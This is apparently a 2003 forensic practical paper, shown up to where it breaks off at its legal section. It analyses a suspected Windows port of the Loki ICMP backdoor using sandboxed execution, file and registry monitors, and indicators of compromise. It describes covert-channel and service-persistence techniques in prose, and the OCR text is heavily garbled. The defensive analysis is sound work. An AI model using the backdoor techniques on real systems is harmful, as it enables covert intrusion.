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Abstract

This paper includes three sections related to the process of forensic analysis and incident
handling, namely:
* Anaysisof an unknown binary file, “t ar get 2. exe”.
* Analysisof acompromised host. The host in question is aWindows 2000 Professional
laptop that was found to be compromised by multiple Internet Relay Chat (IRC) “robots”
(bots) and other hacker tools.b
* Analysisof legal issues surrounding disclosure of subscriber information by an Internet
Service Provider (ISP) to law enforcement.

Part 1 — Analyze an Unknown Binary

On July 26, 2003, | was presented with an unknown binary (executable) file for analysis. The
file had been found on an employee’ s computer system. | was given no information on thefile
other than thefileitself.

Binary Details

The file was received on afloppy disk and had been “zipped” (compressed) for both efficiency
and security (zipping the file helps prevent accidental execution of thefile). The zipped file
namewassimply bi nary_v1. 3. zi p.

| extracted the zipped file to my analysis laptop, a dual-boot Windows XP Professional / RedHat
Linux 9.0 system. The file was copied to a Windows XP working directory called “unknown”
(D: \ unknown).

The extracted filewas named t ar get 2. exe. Before performing any analysis on thefile, we
want to create a cryptographic hash of the fileitself. A hashisaone-way cryptographic function
that takes input of any size and generates afixed length output. In our case, we will use the MD5
algorithm, which generates output 128 bitsin length. The hash acts as a unique “fingerprint” of
the file and helps us do two things:

* Prove chain-of-custody for our evidence (thisfile) if necessary, demonstrating that the file
has not been altered during any analysis we may perform onit. If thefileisdamaged or
modified even dlightly, re-generating the hash will produce an entirely different value.

* Help topositively identify thisfile. Because hash values are unique for al practical
purposes, if we can find a copy of this file on the Internet and demonstrate that both files
have the same hash, we can prove that the files too are identical, even if the file names are
different.

The Win32 version of nd5sumis used to generate our hash value:

D:\t ool s\ nd5sunmpnmd5sum d: \ unknown\t ar get 2. exe
\ 848903a92843895f 3ba7f b77f 02f 9bf 1 *d: \\ unknown\\t ar get 2. exe
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e AW INDOWS\System32vemd. exe

D:stoolssmdSzoamimdSzoam d:isunknowunstarget  exe
~B4A8PE3a?2843895F Iba PP A2 1 wd s Sunknownsstarget? _exe .

D:zstoolssmdSsom>

Figure 1 - Generating the md5 hash of the unknown file

The 128-bit (16 byte) hash valueis given in hexadecimal (hex) and our unique “fingerprint” for
thisfileis:

848903a92843895f 3ba7f b77f 02f 9bf 1

Now that we have a hash for our file, we want to |earn some basic information about the file
itself. Viewing thefile's properties (right-click -> Properties) yielded the following information:
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target?.exe Properties

General | Compatibility | Security | Summary

||___ t.argetE.e:-:e

Tvpe of file:  Application

Description: — target?

Location: O unknoin
Size: 26.1 KB [26.792 bytes)
Sizeondizk:  28.0KB [28.672 butes)

Created: Thursday, February 20, 2003, 12:45:48 PM
Modified: Thursday, February 20, 2003, 12:45:48 PM
Aooezzed; Todaw, July 26, 2003, 12:74:27 P

Aftibutes: [ |Head-onl  [] Hidden

2k, ] [ Cancel

Figure 2 - Properties of unknown file " tar get2.exe"

Of primary interest to us are thefile size:

Size: 26.1 KB (26, 793 bytes)
Size on disk: 28.0 KB (28,672 bytes)

and the file timestamp information (modified, accessed, and created or MAC times):

Created: Thursday, February 20, 2003, 12:45:48 PM
Modi fi ed: Thursday, February 20, 2003, 12:45:48 PM
Accessed: Today, July 26, 2003, 11:54:15 AM

The Accessed timeis of little use, asit indicates the time at which the file was accessed from my
own analysis workstation. However the created and modified times (which in this case are
identical) are retained from the system where the file was originally retrieved. Thistells us that
thisfile was created on the suspect system on February 20 at 12:45:48 PM Pacific Daylight Time
(my laptop is configured for PDT and will report times within that zone). As the modification
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date is the same as the creation date, the file has not been modified since it was originally
created.

Although we can view the security properties (ownership and permissions) of thisfile under
Windows XP (right click -> Properties -> Security tab), the information is of little use to us.
When thefileis copied to the XP system for analysis, it will inherit the permissions of the
directory whereit iswritten. | will also be listed as the file owner, as | have created the copy on
disk.

In order to determine the actual ownership information, we first need to determine what type of
filethisis (Windows or *nix binary); that will tell us how (or whether) we can retrieve the file
permissions or owner(s). If thefileisa*nix binary, thisinformation may have been carried with
the file when it was copied from the suspect host, and could be viewed using a* nix operating
system. If thisisaWindows binary, we would need to retrieve the data from the file system of
the suspect host itself — assuming the host is formatted with the NTFS file system and therefore
maintains ownership information. If the Windows host is formatted with FAT or FAT32, no
ownership or permission information will be available.

One simple way to determine the file typeisto usethe Linux f i | e command, which can
recognize many common file types, including ASCII text, graphics formats, and several types of
executables. However, since we are performing our initial analysis on a Windows system, we'll
stick with that for the time being and see what €lse we discover using Windows.

A key step in analyzing an unknown fileisto attempt to pull any text information from the file
itself. We can usethe program st ri ngs to search for any text strings that may be visiblein the
fileitself. We direct the output of st ri ngs to atext file for review (lineiswrapped for space):

strings -a d:\unknown\target2.exe > d:\unknown\strings_target2.
exe. t xt

On reviewing out output file (st ri ngs_t ar get 2. exe. t xt ), we find some interesting
information (the full output of the strings command is attached as Appendix A). Thefirst line of
our output file reads:

! Thi s program cannot be run in DOS node.

Ahal Thisindicatesthat the fileis a Windows 32-bit binary (no need to use Linux for file
identification in thiscase). So far so good. Further down in the file we see a number of function
calls and dynamic link libraries (DLLs), which may give us some indication of the program’s
purpose:

Creat eProcessA
Cr eat ePi pe
WiteFile

Get Last Error
Local Al | oc
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KERNEL32. dlI |

Start ServiceCtrl D spat cher A
Set Servi ceSt at us

Regi st er Servi ceCtrl Handl er A
Cl oseServi ceHandl e

Control Service

We'll come back to thisif needed, but it doesn’t look like it will be necessary, because further
down we see:

RAW | CVP SendTo:

s======================== | cnp BackDoor V0.1 =================—=======
========= Code by Spoof. Enjoy Yourself!

Your PassWrd:

| oki

cnd. exe

It looks like whoever compiled this binary was kind enough to leave some footprintsin place to
let us know what we're dealing with. The word “BackDoor” should be enough to convince us
that thisisnot alegitimate file. Thereferencesto “Icmp” (the Internet Control Message
Protocol) and “loki” imply that this may be a Windows version of the Unix “loki” backdoor,
which uses standard ICM P echo request and echo reply packets as a covert communications
channel to allow the attacker to control a compromised host.

The covert channel properties of Loki are described in Phrack Magazine #49 (for the * nix
platform) as follows:

Ping sends one or more ICMP_ECHO packets to a host. The purpose may just
be to determine if a host is in fact alive (reachable). ICMP_ECHO packets also
have the option to include a data section. This data section is used when the
record route option is specified, or, the more common case, (usually the default)
to store timing information to determine round-trip times...

...Although the payload is often timing information, there is no check by any
device as to the content of the data. So, as it turns out, this amount of data can
also be arbitrary in content as well. Therein lies the covert channel.!

A later description of the loki2 variant (also for * nix) includes the option of inserting covert data
into DNS query / DNS reply packets in addition to ICMP, and to encrypt the covert data:

LOKI2 is an information-tunneling program. It is a proof of concept work
intending to draw attention to the insecurity that is present in many network
protocols. In this implementation, we tunnel simple shell commands inside of
ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic.
To the network protocol analyzer, this traffic seems like ordinary benign packets

! daemon9 (AKA route), “Project Loki”. Phrack Magazine Volume 7 Number 49, November 8, 1996. URL:
http://www.phrack.org/show.php?p=49& a=06 (URL may be wrapped). Page accessed 16 August 2003.
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of the corresponding protocol. To the correct listener (the LOKI2 daemon)
however, the packets are recognized for what they really are. Some of the
features offered are: three different cryptography options and on-the-fly protocol
swapping (which is a beta feature and may not be available in your area).?

Theremaining st ri ngs output includes what appear to be status or error messages. However, a
number of lines refer to activity relating to Windows services (processes that typicaly start at
boot time and run as background applications, similar to Unix daemons). A brief excerpt is
shown below:

Service % Already exists

Local Printer Manager Service

SNBESEes. exe

Open Service Control Manage fail ed: %
Start service successfully!

On Windows, attackers will usually attempt to ensure that any malicious applications that they
install will continue to run, even if Windows is shut down or rebooted. One common way to do
thisisto install the malicious application as aservice. Services are generally given “innocent”
sounding names in order to avoid detection by suspicious administrators. Thest ri ngs
information referring to service operations may indicate that our suspect file is an installation
routine (sometimes called a“dropper” file), designed to install the “loki” daemon as a Windows
service called “Local Printer Manager Service” with the service executable name of

sneses. exe. Alternately, our suspect file could be the actual snsses. exe file (installed by
some other means) that has been renamed.

There are also a number of referencesto “SMB”:

SMVB2
SMVB2
SMVB2
SMBq
SMBuU

This could be merely coincidence — meaningless “text” in the binary — or could possibly be a
reference to the Server M essage Block protocol, used by Windows for file and print sharing,
among other things. Doesthisversion of loki (if that’s what we' ve found) use SMB as opposed
to (or in addition to) ICMP?

2 daemon9 (AKA route), “LOK 2 (the implementation)”. Phrack Magazine Volume 7 Issue 51, September 1, 1997.
URL.: http://www.phrack.org/show.php?p=51& a=06 (URL may be wrapped). Page accessed 16 August 2003.
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Program Description

In order to learn more about our unknown program, we can run the program in a test
environment and monitor its activity. We certainly do not want to run an unknown program on a
“live” system. We have no ideawhat it may do to our workstation, and if it has a network
component we do not want it to inadvertently “escape” and infect or attack other network hosts.

In order to perform further analysis, we will run our unknown application in atest environment
using VMWare Workstation 4.0 from VMWare Corporation (http://www.vmware.com).
VMWare allows us to emulate a complete Windows host — including BIOS, memory, disk, and
networking —in afully software-based environment. In short, we can run our unknown binary
on our analysis workstation, containing it safely within a software application while we monitor
its activity.

The VMWare “virtual machine” used was configured as a Windows 2000 Professional system
running Service Pack 3, with no additional Service Packs or patches. A copy of our unknown
file t ar get 2. exe, isplaced in the directory c: \ unknown on the virtual machine. In addition,
weinstall copies of WinZip (afile extraction utility, http://www.winzip.com) and Etherea (a
network protocol analyzer or “sniffer”, http://www.ethereal.com) in our virtual environment.
Our remaining analysis tools will be run from a CD-ROM to ensure that we are using “clean”
copiesin the event that our unknown binary attempts to modify any existing files. Though the
monitoring we perform should indicate if the binary attempts to tamper with the system, it's
better to play safe.

Before we actually run the binary in our virtual Windows 2000 environment, we want to take a
tip from the auditing profession, and gain some idea of what our “normal” Windows system
looks like. These simple “before” pictures will help us to pinpoint differences “after” we infect
our system with unknown code. While detailed change information will be provided by the
monitoring tools that we run while we execute our unknown code, our “before” and “ after”
pictures will give us quick information about selected portions of our operating system.

Thetoolswe'll run toinitially “snapshot” our clean system are:

* Psinf 0. exe from the Sysinternals’ (System Internals’) PSTools suite
(http://www.sysinternals.com). Psi nf o will give us basic information about the
operating system, including OS version, installation date, disk partitions, file system,
installed hotfixes, and installed applications.

* Pslist.exe,asofromthe PSToolssuite. Psli st providesalist of running processes.

* Psservice. exe, athird tool from the PSTools suite. Psser vi ce providesalist of
installed services.

* Autoruns. exe from Sysinternals. Aut or uns providesaquick listing of all programs
called at startup.

* Net st at. exe, anative Windows command. Net st at listsall open ports.

* FPort. exe from Foundstone (http://www.foundstone.com). Fport will map listening
ports to the actual application (executable) using a given port.
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All of the above utilities are command line tools that generate command line output, with the
exception of Autoruns. Autoruns displaysits results in a graphical window whose contents can
then be pasted into atext file.

All of our utilities are executed from a CD-ROM of “known good” tools, and the results are
written to text filesin the directory c: \ f or ensi c¢s, which we have created on our virtual test
system. For example:

d:\tools\.\psinfo -d —h —s > c:\forensics\psinfo.txt

Notethe use of the” .\ ” notation to specifically reference the current working directory (in this
case, d: \ t ool s). Thiswill ensure that our “known good” tools run from the CD-ROM, and are
not accidentally launched from our test system (i.e., ¢: \ wi nnt \ syst enB82) based on the default
system PATH search variable.

After verifying that our “before” snapshots are intact, we are ready to launch our monitoring
tools, and then to run our unknown binary. Note that if we wanted a more detailed “before”
snapshot, we could use the sysdi f f . exe utility from the Windows Resource Kit. Sysdi f f
will snapshot the entire file system, registry, and the contents of any *. i ni files on the hard
drive. For our initial analysis, we'll stick with our basic information and the data we obtain from
our monitoring tools. If it turns out we need more detail about what our unknown binary does,
we can come back and re-run our tests using sysdi f f to snapshot the entire system before and
after.

In order to monitor the activity of our binary, we will run the following utilities during our test:

» Ethereal (noted above), a protocol analyzer to monitor any network activity;

* Filemon from Sysinternals (http://www.sysinternals.com), which will monitor all access
to our Windows file systemin real time;

* Regmon from Sysinternals, which will monitor all access to our Windows registry in rea
time.

These three tools should give us a complete picture of all network, file system, and registry
activity. Once we have launched each of the three utilities above, we run our executable from
the command line;

c:\target\unknown\target 2. exe

Unfortunately, we run into our first problem when we receive the following popup error:
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target2.exe - Unable To Locate DLL 1B 5[

The dynamic link library MSYCPa0, dll could not be found in the specified path
Cihunknown; s COWINNT Systerm 32 SV WINNTY systern; C WIMMT  COWINNT system3Z;
CNIRMNT  CWINNT Svskem3zyibem,

Figure 3 - Error message

It appears that our unknown file requires a copy of nsvcp60. dI | to execute properly. A quick
search of our Windows 2000 virtual machineis unable to locate thisfile, though nsvcp50. dl |
ispresent. However, a search of our Windows XP analysis system locates a copy of thisfilein

the %syst enr oot % syst enB2 directory. Viewing thefile's properties shows that thisisa
Microsoft C++ runtime library:

msvcpO0_dil Properties

| General | Yersion ISE::urit_l,l Surmmary

File wersion:
Description:;  Microzaft [R] C++ Buntime Library

Copyright; Coperight [C] Microsoft Corp, 19811998

Other wersion infarrmation

[ter name: W alle;
I! |Microzaft Corpaoration
File Yersion [
Internal Mame
Language
Original File name
Product Marme
Product Werzion

OF. ][ Cancel J

Figure 4 - Properties of msvcp60.dil
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In the interest of further testing, we copy our XP file to our Windows 2000 virtual machine, and
try our experiment again. Thistime we are successful; t ar get 2. exe executes briefly, and then
exits. We pause Filemon and Regmon (which log alarge amount of data) but leave Ethereal
running just in case our binary attempts a network connection (assuming it is still running in the
background).

Now that we have run our suspect file, we re-run our handful of utilities (psi nf o, aut or uns,
net st at , etc.) to create our “after” snapshots. We can quickly compare the output of each tool
using the Windows File Command utility (f c. exe).

The syntax for File Command is:

fc <filel> <file2>

So we can compare any two files as follows:

fc netstat.txt netstat2.txt > netstat_diff.txt

We run the same command for our other fivefiles, and view the difference files. No differences
are found, other than legitimate ones due to changes in our test environment (i.e., system uptime
islonger, Ethereal is now running as a process because we have launched it, etc.) Other than
minor, normal differences described above, our typical output shows no changes to the system:

Comparing files fport.txt and FPORT2. TXT
FC. no differences encountered

Based on the above information, it does not appear that t ar get 2. exe has made any
modifications common to many Windows malware applications. it has not modified the system
startup entries (i.e., to ensure it restarts following a system reboot), has not modified the
Windows services (i.e., to install itself asaservice), and it is not listening on any ports (i.e., as
one might expect from a*backdoor” program).

We next take alook at the output from Ethereal, but do not see any unusual network activity
other than standard Windows NetBIOS master browser announcements and NetBIOS name
gueries. At thispoint, it doesn’t look like our suspicious file does much of anything! But we
still have Filemon and Regmon to check. Both tools generate output in a graphical window, but
the content can be saved to atext file.

We start with Filemon. Due to the large amount of data that Filemon can log, we want to create

afilter, and ask filemon to only show entries containing our suspect file, t ar get 2. exe. The
filtered output is shown below:
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2. File Monitor - Sysinternals: www.sysinternals.com

File: Edit ©Options Volumes Help

=181 %]

|H | RERE|© | &2 dh B |

# | Time | Process | Request | Path | Result | Other

108 21533 PM B8 CMD.ExE:RIG OFEM C:Aunknown'target?. exe SUCCESS  Options: Open Access: Exg
109 21533 PM iﬁ ChD.EXE:ES6 CLOSE CAunknown'target 2. exe SUCCESS

111 215933 PM £ target? exe:954 OFEN C:Aunknown SUCCESS  Options: Open Directary Adg
112 215933 PM f"__"i target?. exe: 964 QUERY INFORMATION  C:hunknown'hwS2_32 dll FILE HOT F... Attributes: Error

113 21933 PM _:_:1 target?. exe; 964 QUERY INFORMATION  CrunknownswS2_32.dll FILE MOT F... Attributes: Eror

114 21333 FPM |_:_1 target?, exe: 964 QUERY INFORMATION  CNWINMT S pstemI 252 32 dI SUCCESS  Atributes: &

115 21933 PM _"I_1 target2. exe: 964 OFEM CNWINMNT S petem32iiwS2_32 dll SUCCESS  Options: Open dccess: Exg
16 21933 FM 1"__"1 target2, exe: 964 CLOSE CAWINMT S pstem32vwiS 232 I SUCCESS

17 21533 PM E:_j target2. exe: 964 QUERY INFORMATION  C:hunknowniWS2HELP.DLL FILE MOT F... Attributes: Error

118 21533 PM |:_"_1 target2 exe: 964 QUERY INFORMATION  C:\unknownswS2HELP DLL FILE MOT F... Attributes: Error

119 213:33PM 1 target? ewe:964 QUERY INFORMATION  T:ANWINNT Spstem32WW5S2HELP.DLL  SUCCESS  Attributes: A

120 21933 PM f"__"i target?. exe: 964 OFEN CANWINMT S peten32%WS2HELP.DLL  SUCCESS  Options: Open dccess: Exd
121 21333 FM _:_:1 target2, exe: 964 CLOSE CANWINNT S pstem32WwW5S2HELP.DLL  SUCCESS

122 21333 PM 7 target2 exe: 964 QUERY INFORMATION - ChunknownyMFC42. DLL FILE NOT F... Attrbutes: Error

123 21933PM _"I_1 target2. exe: 964 QUERY INFORMATION  C:hunknowniMFC42.DLL FILE MOT F... Attributes: Error

124 21933 FM 1"__"1 target2, exe: 964 QUERY INFORMATION  C:NWINMT NS petermIZ2WMMFC42.0LL SUCCESS  Aftributes: A

126 21533 PM E:_j target2. exe: 964 OFEM CANWINMT WS patem32WMFC42 DLL SUCCESS  Options: Open Access: Exg
126 213.33PM |_:_'] target? exe: 964 CLOSE CAWINNT S pstem32WMFC42. DLL SUCCESS

127 215933 PM T target? exe: 954 QUERY INFORMATION  C:\unknownskd SYCPED.dIl FILE MOT F... Attributes: Error

128 21933 PM f"__"i target?. exe: 964 QUERY INFORMATION  C:hunknownshd SYCPED. Il FILE HOT F... Attributes: Error

129 21333 FM _:_:1 target2, exe: 964 QUERY INFORMATION  CNWINMT S pstern32WMSVCPED. I SUCCESS  Aftributes: &

130 271333 PM |_:_1 targets. exe: 964 OFEM CANWINMN TS petem 323 SYEPED dIl SUCCESS  Options: Open dccess: Exg
13 21%33PM 7 target? exe:964 QUERY INFORMATION  T:NWANMT S pstern 2 SV CPED. I SUCCESS  Length: 401462

132 219.33PM 1"__"1 target2, exe: 964 CLOSE CAWINNT S pstem 325 SWCPED. I SUCCESS

133 21533 PM E:_j target2. exe: 964 QUERY INFORMATION  C:hunknowntargets exe Local FILE MOT F... Attributes: Error

134 21334 PM |_:_'] target? exe: 964 QUERY INFORMATION — C:NWINNT System32WWMFC42LOC.OLL  FILE NOT F... Attributes: Error

135 21934 PM 1 target? ewe:964 QUERY INFORMATION — T:NWANNT S ypstem32\MFC42LOC.DLL  FILE NOT F... Attributes: Error

145 21549 PM T target? exe:964 CLOSE C:Aunknown SUCCESS

4 |

Figure 5 —Filtered output from Filemon

The output shows us something interesting. We can seet ar get 2. exe being launched from
cnd. exe at 2:19:33 PM. Tar get 2. exe then searches for a number of other files, first checking
for thosefilesin our test directory (c: \ unknown); when the files are not found there,

t ar get 2. exe searchesin the standard Windows path and locates the filesin
c:\wi nnt\syst enB2. However, it is unable to locate one particular file: MFC42LOC. DLL.
After thisfileisnot found, t ar get 2. exe exitsat 2:19:49 PM.

Thefilest ar get 2. exe attemptsto access, in order, are:

W52_32. DLL (Windows Socket 2.0 32-bit DLL)

WB2HELP. DLL (Windows Socket 2.0 Helper for Windows NT)
MFC42. DLL (MFCDLL Shared Library — Retail Version)
MBVCP60. dl | (Microsoft C++ Runtime Library)

MFC42LCC. DLL (unknown, not present on test system)

Aswe are unable to locate a copy of MFC42LCOC. DLL on either our Windows 2000 virtual
machine or our Windows XP forensic workstation, it appears that we will be unable to gain
additional information from our test environment. A search of the Microsoft web site for
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“mfc42loc” yields a Microsoft Software Developer’s Network (MSDN) article titled
“Redistributing Microsoft Visual C++ 6.0 Applications’. That article states, in part:

There are several MFC DLLs supplied for various locales. For example,
Mfc42deu.dll is the German version and contains version information that
identifies it as German locale. If you install any locale DLL, you must ensure the
locale for which the DLL is intended matches the locale of the installed Windows
system. When you install, the DLL, you must rename it to Mfc42loc.dll.

You should never install an Mfc42loc.dll on an English system. English
resources are built into Mfc42.dll, and it is faster to load them from that DLL
instead of searching (and loading) an MFC localization DLL first.3

Interesting...if our binary islooking for alocalization file (which would normally be found only
on non-English versions of Windows), our code may be foreign in origin, or intended for use on
hosts running a particular localized version of the Windows OS.

Not to be deterred, we do one more search of our XP analysis host for anything named nf c42* .
Our search does turn up afile named M=C42ENU. DLL and the file properties indicate that thisis
“MFC Language Specific Resources’ for “English (United States)”.

Jackpot? Maybe. Just for kicks, we copy the file to our Windows 2000 virtual machine, rename
it from MFC42ENU. DLL to MFC42LOC. DLL, re-launch all of our monitoring software, and re-run
target 2. exe.

Thistime, t ar get 2. exe isableto find afile named MFC42LOC. DLL; we can seethat it
attempts to open the file twice for “execute” access. Though the accessis successful,

t ar get 2. exe itself exits shortly thereafter. It is unclear whether t ar get 2. exe has completed
its task successfully, or smply halted because MFC42LCC. DLL isreally akluged file that we
copied onto the system and renamed. We suspect the latter becauset ar get 2. exe does not
appear to have done anything interesting to our system; it does not itself remain running (to act
as a backdoor process), and does not appear to leave any other backdoors or rogue processes on
the system.

Just for additional detail, wetry runningt ar get 2. exe one more time, thistime while using a
monitoring tool called Process Explorer (pr ocexp. exe), aso from Sysinternals. Process
Explorer alows us to monitor the DLLs and handles used by a given process, in real time. We'll
have to be abit quick to capture this datasincet ar get 2. exe exitsrelatively quickly.

We are successfully able to capture both handle and DLL data, and seethat t ar get 2. exe uses
the following handles:

Process: target2.exe Pid: 408

3 Schwartz, David. “Redistributing Microsoft Visual C++ 6.0 Applications’, Microsoft Corporation, article date
May 1999, revised August 2000. URL: http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/dnvc60/html/redistribvc6.asp (URL may be wrapped). Page accessed 30 July 2003.
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Handl e Type Access Nanme

0x14 Directory 0x00000003 \ KnownDi|s

0x20 Directory Ox000FO00OF \ W ndows

0x28 Mt ant 0x00000001 \ Nl sCacheMut ant

0x30 Key 0Ox000F003F HKLM

0x38 W ndowSt ati on 0x000F037F \ W ndows\ W ndowSt at i ons\ W nSt a0
0x44 W ndowSt ati on O0x000F037F \ W ndows\ W ndowSt at i ons\ W nSt a0
0x48 Desktop OxO000FO01FF \ Def aul t

0x4C File 0x00100080 \ Devi ce\ NanedPi pe\

Ox5C File 0x00100020 C.\ unknown

and thefollowing DLLs:

Process: target2.exe Pid: 624

Base Size MV Descri ption Ver si on Time Path

0x240000 0x16000 * 12/ 6/ 1999 10: 00 PM
C.\ W NNT\ syst enB2\ uni code. nl s

0x260000  0x2F000 * 7/ 22/ 2002 12: 05 PM
C.\WNNT\ syst enB82\ | ocal e. nl s

0x290000  0x41000 * 12/ 6/ 1999 10: 00 PM
C.\W NNT\ syst enB2\ sort key. nl s

Ox2E0000  0x4000 * 7/ 22/ 2002 12: 05 PM
C \WNNT\ systenB2\sorttbls.nls

0x300000 0x2000 * 12/ 6/ 1999 10: 00 PM
C.\WNNT\ syst enB2\ ctype. nl s

0x400000 0x6000 2/ 20/ 2003 12: 45 PM
C. \unknown\t ar get 2. exe

0x55900000 0x61000 M crosoft (R) C++ Runtine Library

6. 00.8972. 0000 8/29/2002 3:41 AM
C.\ W NNT\ syst enB2\ nsvcp60. di |
Ox5FDO0000 0xDO00 M-C Language Specific Resources
6. 00. 8168. 0000 6/17/1998 6: 08 PM
C. \ W NNT\ syst enB2\ M-C42LCC. DLL

0x6C370000 0xF2000 MFCDLL Shared Library - Retail Version
6. 00. 8665. 0000 12/6/1999 10: 00 PM C: \ W NNT\ syst enB82\ nf c42. dl |
0x75020000 0x8000 W ndows Socket 2.0 Hel per for Wndows NT

5.00.2134.0001 12/6/1999 10: 00 PM
C.\ W NNT\ syst enB2\ ws2hel p. dl |

0x75030000 0x13000 W ndows Socket 2.0 32-Bit DLL
5.00. 2195. 4874 7/ 22/2002 12: 05 PM
C.\WNNT\ systenB2\ws2_32. dl |

0x77D30000 0x71000 Renmot e Procedure Call Runtine
5.00.2195.5419 7/22/2002 12: 05 PM
C.\WNNT\ systenB2\rpcrt4.dl|

0x77DB0000 0x5D000 Advanced W ndows 32 Base API
5.00.2195.5385 7/22/2002 12: 05 PM
C. \ W NNT\ syst enB2\ ADVAPI 32. DLL
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0x77E10000 0x65000 W ndows 2000 USER APl Cient DLL
5.00.2195. 4314 7/ 22/2002 12: 05 PM
C:\ W NNT\ syst en82\ USER32. DLL

0x77E80000 0xB6000 W ndows NT BASE API Cient DLL
5. 00. 2195.5400 7/22/2002 12:05 PM
C. \ W NNT\ syst en82\ KERNEL32. DLL

0x77F40000 0x3C000 GOl Cient DLL 5.00.2195.5252 7/22/2002
12: 05 PM  C \ W NNT\ syst enB2\ GDI 32. DLL

0x77F80000 0x7B000 NT Layer DLL 5. 00. 2195. 5400 7/22/ 2002
12: 05 PM  C \ W NNT\ syst enB2\ NTDLL. DLL

0x78000000 0x46000 Mcrosoft (R) C Runtinme Library

6. 01. 9359. 0000 7/22/2002 12: 05 PM
C:\ W NNT\ syst enB82\ nsvcrt. dl |

Having focused on the Filemon results so far, we perform alast check of our Regmon output to
seewhat registry valuest ar get 2. exe might access. Similar to Filemon, the output simply
showst ar get 2. exe querying (reading) anumber of registry values, none of which provide
particular insight into the functions of our mysteriousfile.

Asalast attempt, we run the following commands in our test environment:
D: \unknown>target2 /?

D: \ unknown>t arget2 -h

No “help” information for this unknown binary is displayed. We didn't really expect any, but
sometimes you get lucky. ©

We are | eft with afew conclusions;

* Theuse of aC++ runtime library indicates that this program is written in C++.

» Thefact that the program calls several socket libraries supports our original assumption
(based on the “Icmp BackDoor” and “loki” referencesin our “st ri ngs” output) that this
binary has some network-based function, and appears to be a network backdoor, possibly a
Windows port of the Unix “loki” backdoor.

» Theprogramisnot statically linked (i.e., self-contained), and relies on the presence of a
number of DLL files on the victim system in order to work correctly. The absence of these
libraries on our test system apparently prevented the executable from running properly.

» The dependence on alocalization file implies that this code was devel oped on (or intended
for use on) a non-English version of Windows.

At this stage, our ability to perform additional research islimited. We could attempt to further
analyze the binary by running it through a debugger, such as IDA Pro
(http://www.datarescue.com). However, unless we are able to obtain localized DLL files, we
cannot examine afully-functional version of our mystery program (perhaps the Microsoft
Software Developer’ s Network (MSDN — http://www.msdn.com) would provide copies for
download). But even this may not be sufficient; descriptions of loki indicate that it operates as a
sort of client / server application. The loki server or daemon resides on the hacked /
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compromised host, listening for tunneled commands. The attacker presumably has aloki client
(or at least araw packet-generating program) capable of generating custom ICMP packets that
include the tunneled information. Even if we are able to get our loki server running in our virtual
machine environment, we may not be able to do much with it without a client capable of
communicating with the server.

Unfortunately, in many cases we are acting as both incident handlers and forensic anaysts.
Frequently, incident handling takes precedence — eliminate the problem and get the system back
online. Resourcesfor forensic “research” arelimited. We now have sufficient information to
reasonably conclude that thisis not a standard Windows file; it appears to be a Windows port of
the “loki” covert channel backdoor application; and it is highly doubtful that there is any
legitimate reason for it to be on the system in question.

Forensic Details

Our suspect file, t ar get 2. exe, leaves few “footprints” when installed on our test system. This
isnot 100% conclusive, as we have not been able to observe afully-functional version of the
application. However, at minimum, the following changes (summarized from detail given
above) may be made to the system:

» Presence of the suspect application itself (in this case named “t ar get 2. exe”), but
identifiable by its MD5 hash even if renamed.

* Inourtesting, thet ar get 2. exe process exited shortly after being launched. It is not
clear if thisis by design or dueto the missing DLL file. If t ar get 2. exe isdesigned to
run in the background as a“server” service, waiting for connections from a client (which
would be consistent with the design of the “loki” program), then it would be visible as a
running process on a compromised host.

*  Whent ar get 2. exe runs, it accesses anumber of system DLLs and other files. Thus,
executing this file will modify the last Accesstime of the DLLs used by the application,
including, at minimum (detail based on Filemon output):

0 W82 _32. DLL (Windows Socket 2.0 32-bit DLL)

WB2HELP. DLL (Windows Socket 2.0 Helper for Windows NT)

MFC42. DLL (MFCDLL Shared Library — Retail Version)

MBVCP60. dl | (Microsoft C++ Runtime Library)

MFC42LCC. DLL (localized version of MFC42)

* The application may also access (and thus modify the Access times of) the following files
(based on Process Explorer output):

C:\ W NNT\ syst enB2\ uni code. nl s

C.\WNNT\ syst enB82\ | ocal e. nl s

C.\W NNT\ syst enB2\ sort key. nl s

C.\WNNT\ systenB2\sorttbls.nls

C.\WNNT\ syst enB2\ ctype. nl s

C.\ W NNT\ syst enB2\ nsvcp60. dl |

C.\ W NNT\ syst enB2\ MFC42LCC. DLL

C.\ W NNT\ syst enB2\ nf c42. dl |

C.\ W NNT\ syst enB2\ ws2hel p. dl |

C.\W NNT\ syst enB2\ws2_32. dl |

o O O O O

OO0OO0OO0OO0OO0OO0OO0OOo
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C.\WNNT\ systenB2\rpcrt4.dl|

C:\ W NNT\ syst enB2\ ADVAPI 32. DLL

C:\ W NNT\ syst en82\ USER32. DLL

C:\ W NNT\ syst enB2\ KERNEL32. DLL

C.\ W NNT\ syst en82\ GDI 32. DLL

C.\ W NNT\ syst enB82\ NTDLL. DLL

o C \WNNT\ systenB82\ nsvcrt.dl|

» Based on output from our Regmon application, t ar get 2. exe will aso access (and thus
modify last Accesstimes on) a number of registry values.

» Testing with applications such asnet st at and f port did not show any backdoors or
open ports present. Thiswould be consistent with [oki’s use of ICMP to tunnel data,
since ICMP does not use ports the way TCP and UDP do.

» If thisisinfact aWindows version of the loki backdoor, another indication may be an
increase in ICMP traffic to and from this system. A network intrusion detection system,
network protocol analyzer (sniffer), perimeter device (firewall / router), or personal
(desktop) firewall may detect this traffic.

* Ourstrings output (detailed above) implies that our suspect file may install (or be
installed as) aservice called “Local Printer Manager Service’, and may install an
executable named snsses. exe. The presence of this service and/or file on the system,
or the presence of arunning process named snsses, would aso constitute “footprints’
(note that snsses. exe isnot alegitimate Windows executable).

O O0OO0OO0OO0OOo

Program I dentification

As our hands-on research appears to have arrived at an impasse, we now turn to performing
“outside’ research, and see if we can locate a copy of our file on the Internet.

Unfortunately, a search of Google (http://www.google.com), Altavista
(http://www.altavista.com) and other major search engines for various combinations of “loki”,
“spoof” (supposedly our application author), “hack”, “backdoor”, “ICMP”, “smsses.exe”, and
“Local Printer Manager Service” do not turn up much useful information. By the time we
eliminate references to Norse mythology, we are left with afew references to the original Unix-
based loki hacking tool. Most of these link to archived copies of “Phrack” magazine; archives of
incident handing and intrusion detection mailing lists discussing the “loki” program; or
download locations for the *nix version of “loki” from sites like PacketStorm.

A search on the MD5 hash of our file (848903a92843895f 3ba7f b77f 02f 9bf 1) simply turns
up someone else’ s copy of this same GCFA practical assignment.

Our Windows binary does not appear to be a published exploit, which makes it extremely
difficult to download or compile acopy found “in the wild” and compare it to the file found on
our system to see if they areidentical, or even if they are variants that share a similar code base.

Legal Implications

Asthe only information we have regarding thisincident is a copy of the binary itself, it is
